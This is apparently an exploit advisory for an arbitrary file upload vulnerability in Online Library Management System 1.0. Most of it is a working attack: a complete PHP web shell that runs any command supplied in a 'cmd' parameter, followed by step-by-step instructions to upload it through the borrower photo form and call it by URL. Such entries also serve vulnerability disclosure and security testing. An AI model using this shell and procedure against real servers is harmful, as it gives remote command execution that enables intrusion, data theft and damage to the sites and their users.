# Exploit Title: Online Library Management System 1.0 - Arbitrary File Upload # Date: 22-10-2020 # Exploit Author: Jyotsna Adhana # Vendor Homepage: https://www.sourcecodester.com/php/14545/online-library-management-system-phpmysqli-full-source-code-2020.html # Software Link: https://www.sourcecodester.com/download-code?nid=14545&title=Online+Library+Management+System+in+PHP%2FMySQLi+with+Full+Source+Code+%282020%29 # Version: 1.0 # Tested On: Windows 10 Pro 10.0.18363 N/A Build 18363 + XAMPP V3.2.4 #Vulnerable Page: http://localhost/librarysystem/admin/borrower/index.php?view=add #Exploit Fill details Create php shell code with below script <?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?> Click on Browse Select php file Click Save Access below URL: http://localhost/librarysystem/admin/borrower/photos/23102020080814backdoor.php?cmd=dir add system commands after cmd to execute it.